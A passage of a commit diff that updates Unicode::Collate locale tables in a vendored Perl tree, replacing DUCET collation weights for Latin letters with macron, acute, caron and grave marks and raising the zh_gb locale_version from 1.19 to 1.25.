+006D 030C ; [.1DAA.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
+004D 030C ; [.1DAA.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
+006D 0300 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
+006D 0340 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
+004D 0300 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
+004D 0340 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
+006E 0304 ; [.1DB9.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
+004E 0304 ; [.1DB9.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
+0144      ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0148      ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+0147      ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+01F9      ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+01F8      ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+014D      ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+00F3      ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+01D2      ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+01D1      ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+00F2      ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+00D2      ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+016B      ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+00FA      ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+01D4      ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+01D3      ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+00F9      ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+00D9      ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+01D6      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+00FC 0304 ; [.1EB5.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
+00DC 0304 ; [.1EB5.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
+01D8      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+00FC 0301 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00FC 0341 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+00DC 0301 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00DC 0341 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+01DA      ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00FC 030C ; [.1EB5.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
+00DC 030C ; [.1EB5.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
+01DC      ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+00FC 0300 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00FC 0340 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00DC 0300 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00DC 0340 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00FC      ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
 F967      ; [.804A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967
 FA70      ; [.82DE.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70
 F905      ; [.81CB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,214 +1,214 @@
 use Unicode::Collate::CJK::GB2312;
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    overrideCJK => \&Unicode::Collate::CJK::GB2312::weightGB2312,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0101      ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0100      ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-00E1      ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-01CE      ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-01CD      ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-00E0      ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-00C0      ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0113      ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-00E9      ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-011B      ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-011A      ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-00E8      ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-00C8      ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-00EA 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-00CA 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-0065 0302 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-0045 0302 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-1EBF      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-00EA 0301 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00EA 0341 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00CA 0301 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00CA 0341 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00EA 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-00CA 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-0065 0302 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-0045 0302 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-1EC1      ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-00EA 0300 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00EA 0340 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00CA 0300 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00CA 0340 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00EA      ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC5      ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-012B      ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-00ED      ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-01D0      ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-01CF      ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-00EC      ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-00CC      ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-006D 0304 ; [.1D25.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
-004D 0304 ; [.1D25.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
-1E3F      ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-1E3E      ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-006D 030C ; [.1D25.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
-004D 030C ; [.1D25.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
-006D 0300 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
-006D 0340 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
-004D 0300 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
-004D 0340 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
-006E 0304 ; [.1D34.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
-004E 0304 ; [.1D34.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
-0144      ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-0148      ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-0147      ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-01F9      ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-01F8      ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-014D      ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-00F3      ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-01D2      ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-01D1      ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-00F2      ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-00D2      ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-016B      ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-00FA      ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-01D4      ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-01D3      ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-00F9      ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-00D9      ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-01D6      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-00FC 0304 ; [.1E30.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
-00DC 0304 ; [.1E30.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
-01D8      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-00FC 0301 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00FC 0341 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-00DC 0301 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00DC 0341 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-01DA      ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-00FC 030C ; [.1E30.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
-00DC 030C ; [.1E30.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
-01DC      ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
